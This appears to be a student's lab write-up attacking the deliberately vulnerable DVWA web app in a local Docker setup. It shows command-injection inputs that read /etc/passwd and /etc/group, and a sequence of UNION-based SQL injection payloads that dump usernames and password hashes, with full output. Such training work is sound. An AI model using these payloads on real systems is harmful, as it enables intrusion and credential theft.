Your own computer’s IP: 192.168.56.1

Kali Linux VM’s IP: 192.168.56.105

Metasploit-3 VM’s IP: 192.168.56.101

**Q.1:**

**Graphical user interface, text, application

Description automatically generated**

**Q.2:**

docker0: 172.17.0.1

dvna: 172.17.0.3/16

**Q.3:**

**172.17.0.3**

PING 172.17.0.3 (172.17.0.3): 56 data bytes

64 bytes from 172.17.0.3: icmp\_seq=0 ttl=64 time=0.133 ms

64 bytes from 172.17.0.3: icmp\_seq=1 ttl=64 time=0.148 ms

64 bytes from 172.17.0.3: icmp\_seq=2 ttl=64 time=0.150 ms

64 bytes from 172.17.0.3: icmp\_seq=3 ttl=64 time=0.114 ms

--- 172.17.0.3 ping statistics ---

4 packets transmitted, 4 packets received, 0% packet loss

round-trip min/avg/max/stddev = 0.114/0.136/0.150/0.000 ms

**1 | ls**

help

index.php

source

**1 | pwd & whoami & uname -a & users**

/var/www/html/vulnerabilities/exec

Linux f20d3bdb28df 5.10.0-kali7-amd64 #1 SMP Debian 5.10.28-1kali1 (2021-04-12) x86\_64 GNU/Linux

www-data

**1 | cat /etc/group**

root:x:0:

daemon:x:1:

bin:x:2:

sys:x:3:

adm:x:4:

tty:x:5:

disk:x:6:

lp:x:7:

mail:x:8:

news:x:9:

uucp:x:10:

man:x:12:

proxy:x:13:

kmem:x:15:

dialout:x:20:

fax:x:21:

voice:x:22:

cdrom:x:24:

floppy:x:25:

tape:x:26:

sudo:x:27:

audio:x:29:

dip:x:30:

www-data:x:33:

backup:x:34:

operator:x:37:

list:x:38:

irc:x:39:

src:x:40:

gnats:x:41:

shadow:x:42:

utmp:x:43:

video:x:44:

sasl:x:45:

plugdev:x:46:

staff:x:50:

games:x:60:

users:x:100:

nogroup:x:65534:

input:x:101:

systemd-journal:x:102:

systemd-timesync:x:103:

systemd-network:x:104:

systemd-resolve:x:105:

systemd-bus-proxy:x:106:

mysql:x:107:

ssl-cert:x:108:

**1 | cat /etc/passwd**

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false

systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false

systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false

systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false

mysql:x:104:107:MySQL Server,,,:/nonexistent:/bin/false

**Q.4:**

**1**

ID: 1

First name: admin

Surname: admin

**%' or '0'='0**

ID: %' or '0'='0

First name: admin

Surname: admin

ID: %' or '0'='0

First name: Gordon

Surname: Brown

ID: %' or '0'='0

First name: Hack

Surname: Me

ID: %' or '0'='0

First name: Pablo

Surname: Picasso

ID: %' or '0'='0

First name: Bob

Surname: Smith

**%' or 0=0 union select null, version() #**

ID: %' or 0=0 union select null, version() #

First name: admin

Surname: admin

ID: %' or 0=0 union select null, version() #

First name: Gordon

Surname: Brown

ID: %' or 0=0 union select null, version() #

First name: Hack

Surname: Me

ID: %' or 0=0 union select null, version() #

First name: Pablo

Surname: Picasso

ID: %' or 0=0 union select null, version() #

First name: Bob

Surname: Smith

ID: %' or 0=0 union select null, version() #

First name:

Surname: 5.5.58-0+deb8u1

**%' or 0=0 union select null, user() #**

ID: %' or 0=0 union select null, user() #

First name: admin

Surname: admin

ID: %' or 0=0 union select null, user() #

First name: Gordon

Surname: Brown

ID: %' or 0=0 union select null, user() #

First name: Hack

Surname: Me

ID: %' or 0=0 union select null, user() #

First name: Pablo

Surname: Picasso

ID: %' or 0=0 union select null, user() #

First name: Bob

Surname: Smith

ID: %' or 0=0 union select null, user() #

First name:

Surname: root@localhost

**%' or 0=0 union select null, database() #**

ID: %' or 0=0 union select null, database() #

First name: admin

Surname: admin

ID: %' or 0=0 union select null, database() #

First name: Gordon

Surname: Brown

ID: %' or 0=0 union select null, database() #

First name: Hack

Surname: Me

ID: %' or 0=0 union select null, database() #

First name: Pablo

Surname: Picasso

ID: %' or 0=0 union select null, database() #

First name: Bob

Surname: Smith

ID: %' or 0=0 union select null, database() #

First name:

Surname: dvwa

**%' and 1=0 union select null, table\_name from information\_schema.tables #**

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: CHARACTER\_SETS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: COLLATIONS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: COLLATION\_CHARACTER\_SET\_APPLICABILITY

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: COLUMNS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: COLUMN\_PRIVILEGES

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: ENGINES

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: EVENTS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: FILES

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: GLOBAL\_STATUS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: GLOBAL\_VARIABLES

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: KEY\_COLUMN\_USAGE

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: PARAMETERS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: PARTITIONS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: PLUGINS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: PROCESSLIST

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: PROFILING

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: REFERENTIAL\_CONSTRAINTS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: ROUTINES

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: SCHEMATA

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: SCHEMA\_PRIVILEGES

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: SESSION\_STATUS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: SESSION\_VARIABLES

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: STATISTICS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: TABLES

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: TABLESPACES

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: TABLE\_CONSTRAINTS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: TABLE\_PRIVILEGES

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: TRIGGERS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: USER\_PRIVILEGES

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: VIEWS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: INNODB\_BUFFER\_PAGE

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: INNODB\_TRX

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: INNODB\_BUFFER\_POOL\_STATS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: INNODB\_LOCK\_WAITS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: INNODB\_CMPMEM

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: INNODB\_CMP

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: INNODB\_LOCKS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: INNODB\_CMPMEM\_RESET

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: INNODB\_CMP\_RESET

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: INNODB\_BUFFER\_PAGE\_LRU

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: guestbook

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: users

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: columns\_priv

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: db

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: event

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: func

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: general\_log

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: help\_category

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: help\_keyword

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: help\_relation

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: help\_topic

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: host

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: ndb\_binlog\_index

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: plugin

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: proc

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: procs\_priv

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: proxies\_priv

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: servers

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: slow\_log

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: tables\_priv

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: time\_zone

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: time\_zone\_leap\_second

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: time\_zone\_name

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: time\_zone\_transition

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: time\_zone\_transition\_type

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: user

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: cond\_instances

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: events\_waits\_current

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: events\_waits\_history

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: events\_waits\_history\_long

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: events\_waits\_summary\_by\_instance

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: events\_waits\_summary\_by\_thread\_by\_event\_name

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: events\_waits\_summary\_global\_by\_event\_name

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: file\_instances

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: file\_summary\_by\_event\_name

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: file\_summary\_by\_instance

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: mutex\_instances

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: performance\_timers

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: rwlock\_instances

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: setup\_consumers

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: setup\_instruments

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: setup\_timers

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #

First name:

Surname: threads

**%' and 1=0 union select null, table\_name from information\_schema.tables where table\_name like 'user%' #**

ID: %' and 1=0 union select null, table\_name from information\_schema.tables where table\_name like 'user%' #

First name:

Surname: USER\_PRIVILEGES

ID: %' and 1=0 union select null, table\_name from information\_schema.tables where table\_name like 'user%' #

First name:

Surname: users

ID: %' and 1=0 union select null, table\_name from information\_schema.tables where table\_name like 'user%' #

First name:

Surname: user

**%' and 1=0 union select null, concat(table\_name,0x0a,column\_name) from information\_schema.columns where table\_name = 'users' #**

ID: %' and 1=0 union select null, concat(table\_name,0x0a,column\_name) from information\_schema.columns where table\_name = 'users' #

First name:

Surname: users

user\_id

ID: %' and 1=0 union select null, concat(table\_name,0x0a,column\_name) from information\_schema.columns where table\_name = 'users' #

First name:

Surname: users

first\_name

ID: %' and 1=0 union select null, concat(table\_name,0x0a,column\_name) from information\_schema.columns where table\_name = 'users' #

First name:

Surname: users

last\_name

ID: %' and 1=0 union select null, concat(table\_name,0x0a,column\_name) from information\_schema.columns where table\_name = 'users' #

First name:

Surname: users

user

ID: %' and 1=0 union select null, concat(table\_name,0x0a,column\_name) from information\_schema.columns where table\_name = 'users' #

First name:

Surname: users

password

ID: %' and 1=0 union select null, concat(table\_name,0x0a,column\_name) from information\_schema.columns where table\_name = 'users' #

First name:

Surname: users

avatar

ID: %' and 1=0 union select null, concat(table\_name,0x0a,column\_name) from information\_schema.columns where table\_name = 'users' #

First name:

Surname: users

last\_login

ID: %' and 1=0 union select null, concat(table\_name,0x0a,column\_name) from information\_schema.columns where table\_name = 'users' #

First name:

Surname: users

failed\_login

**%' and 1=0 union select null, concat(first\_name,0x0a,last\_name,0x0a,user,0x0a,password) from users #**

ID: %' and 1=0 union select null, concat(first\_name,0x0a,last\_name,0x0a,user,0x0a,password) from users #

First name:

Surname: admin

admin

admin

5f4dcc3b5aa765d61d8327deb882cf99

ID: %' and 1=0 union select null, concat(first\_name,0x0a,last\_name,0x0a,user,0x0a,password) from users #

First name:

Surname: Gordon

Brown

gordonb

e99a18c428cb38d5f260853678922e03

ID: %' and 1=0 union select null, concat(first\_name,0x0a,last\_name,0x0a,user,0x0a,password) from users #

First name:

Surname: Hack

Me

1337

8d3533d75ae2c3966d7e0d4fcc69216b

ID: %' and 1=0 union select null, concat(first\_name,0x0a,last\_name,0x0a,user,0x0a,password) from users #

First name:

Surname: Pablo

Picasso

pablo

0d107d09f5bbe40cade3de5c71e9e9b7

ID: %' and 1=0 union select null, concat(first\_name,0x0a,last\_name,0x0a,user,0x0a,password) from users #

First name:

Surname: Bob

Smith

smithy

5f4dcc3b5aa765d61d8327deb882cf99

**Q.5:**

**Graphical user interface, application, table

Description automatically generated**

**Q.6:**

**Graphical user interface, text, application

Description automatically generated**

docker0: 172.17.0.1

dvwa: 172.17.0.11/16

PING 172.17.0.11 (172.17.0.11): 56 data bytes

64 bytes from 172.17.0.11: icmp\_seq=0 ttl=64 time=0.051 ms

64 bytes from 172.17.0.11: icmp\_seq=1 ttl=64 time=0.066 ms

64 bytes from 172.17.0.11: icmp\_seq=2 ttl=64 time=0.093 ms

64 bytes from 172.17.0.11: icmp\_seq=3 ttl=64 time=0.073 ms

--- 172.17.0.11 ping statistics ---

4 packets transmitted, 4 packets received, 0% packet loss

round-trip min/avg/max/stddev = 0.051/0.071/0.093/0.000 ms

**1 | ls**

PING 1 (0.0.0.1): 56 data bytes

--- 1 ping statistics ---

4 packets transmitted, 0 packets received, 100% packet loss

**1 | pwd & whoami & uname -a & users**

PING 1 (0.0.0.1): 56 data bytes

--- 1 ping statistics ---

4 packets transmitted, 0 packets received, 100% packet loss

**1 | cat /etc/group**

PING 1 (0.0.0.1): 56 data bytes

--- 1 ping statistics ---

4 packets transmitted, 0 packets received, 100% packet loss

**1 | cat /etc/passwd**

PING 1 (0.0.0.1): 56 data bytes

--- 1 ping statistics ---

4 packets transmitted, 0 packets received, 100% packet loss

**The results here with the security set to “high” is that with all of the commands, other than the initial ping reported a 100% packet loss and there was no information returned like with the example of the security set to “low”.**

**Q.7**

My major takeaways from this exercise is that the level of security, even from a “low” rating to a “high” rating has a drastic difference in the outcome of what information would be made available to a hacker. With the “low” setting, we were able to collect the password hashes and then use crackstation to get the user’s password. We also recovered the username in a very short amount of time. Whereas with the “high” setting we were unable to recover the same information using the same commands due to packet loss. Another takeaway for me is that with every practical exercise I am always surprised with how many resources there are out there to learn and simulate these functions which makes it a great learning experience to first-hand go through the steps rather than just reading about them.